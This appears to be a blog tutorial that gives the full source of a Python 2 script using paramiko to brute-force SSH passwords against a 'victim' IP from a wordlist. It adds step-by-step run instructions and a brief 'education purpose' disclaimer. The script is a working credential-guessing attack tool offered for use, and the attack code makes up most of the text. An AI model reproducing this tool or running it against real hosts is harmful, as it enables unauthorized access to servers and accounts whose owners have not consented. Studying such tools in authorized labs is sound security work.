How to Brute Force SSH Password Using Python

#Author: ManishHacker1

How to Brute Force SSH Password Using Python

Hello Everyone, In my previous article, we did learn how to connect window machine to linux machine using python via SSH. Today we will learn, how to get SSH password using brute force technique.

What is SSH

SSH is a Secure Socket Shell cryptographic network protocol which provides administrators with a secure way to access a remote computer. SSH provides a secure channel over an unsecured network in a client-server architecture, connecting a SSH client application with a SSH server.
For example: If you want to remote login to another computer system that time we can use SSH.

• An encrypted remote terminal connection
• allows command line access to the device
• Most managed networks will use SSH for management of routers, switches and servers.
• SSH is simply yet complex, Some reading would be highly beneficial.

How it works

• We use the python paramico module to connect to the ssh server.
• We iterate through a dictionaty and try each password
• When the password is found the connection will accepted and we will be given a prompt.

Now let's start demonstration

Prerequirties: Paramiko and Python installed

Full Source Code:

import paramiko
import time

__Author__="""

******************************************************************************
------------------------------------------------------------------------------
                Created By ManishHacker1
                Follow on FB: https://www.facebook.com/ManishHacker1
                Follow on FB: https://www.facebook.com/krypsec
                BLOG: https://pythonsecret.blogspot.in
                Website: http://krypsec.com
------------------------------------------------------------------------------                
******************************************************************************              
"""
print __Author__


def connect(host, user, passwd):
    Fails = 0
    try:
        s = paramiko.SSHClient()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        s.connect(host, username=user, password=passwd)
        print 'Password Found: ' + passwd
        
        
    except Exception, e:
        if Fails > 5:
            print '!!! Too many socket Timeout!'
            exit(0)
        elif 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            return connect(host, user, passwd)
        elif 'syncronize with origanal prompt' in str(e):
            time.sleep(1)
            return connect(host, user, passwd)
        return None

def Main():
    host = raw_input("Enter your victim IP: ")
    user = raw_input("Enter your victim Username: ")
    dic = raw_input("Enter your dic path: ")   
    with open(dic, 'r') as infile:
        start = time.time()
        for line in infile:
            passwd = line.strip('\r\n')
            print "Testing: " + str(passwd)
            con = connect(host, user, passwd)
        end = time.time()
        t_time = end - start
        print "Total runtime was -- ", t_time, "second"
                     
if __name__ == '__main__':
    Main()

In above code save as "anyname.py" where ".py" our file extension.

How to use:

First open your linux machine and start SSH service. In my case I use Kali Linux.
Go to your Linux machine and type in terminal and press enter button:
service ssh start

After that we search IP address.

Step:

1. First create a wordlist dictionary or Dictionaries can be found online.A popular one is darkc0de.lst. In my case, I did create a wordlist.txt.
2. After save above python code, you can direct run your code using IDLE.
3. Double click on SSHcrack.py script or If you are using IDE go to your "run" tab and click run module button or press "fn+f5".
4. When you run your script, Program will ask your victim Machine IP address and press enter button.

After that, put your victim machine username and press enter button.

After that, put your dictionary path where exist your dictionary and press enter button and wait.

You will saw, the our program check all possible match in our dictionary and find password.

The above program is only for education purpose. Please do not illegal activity.

Thank You for reading this article. I hope you will have enjoyed read this article.
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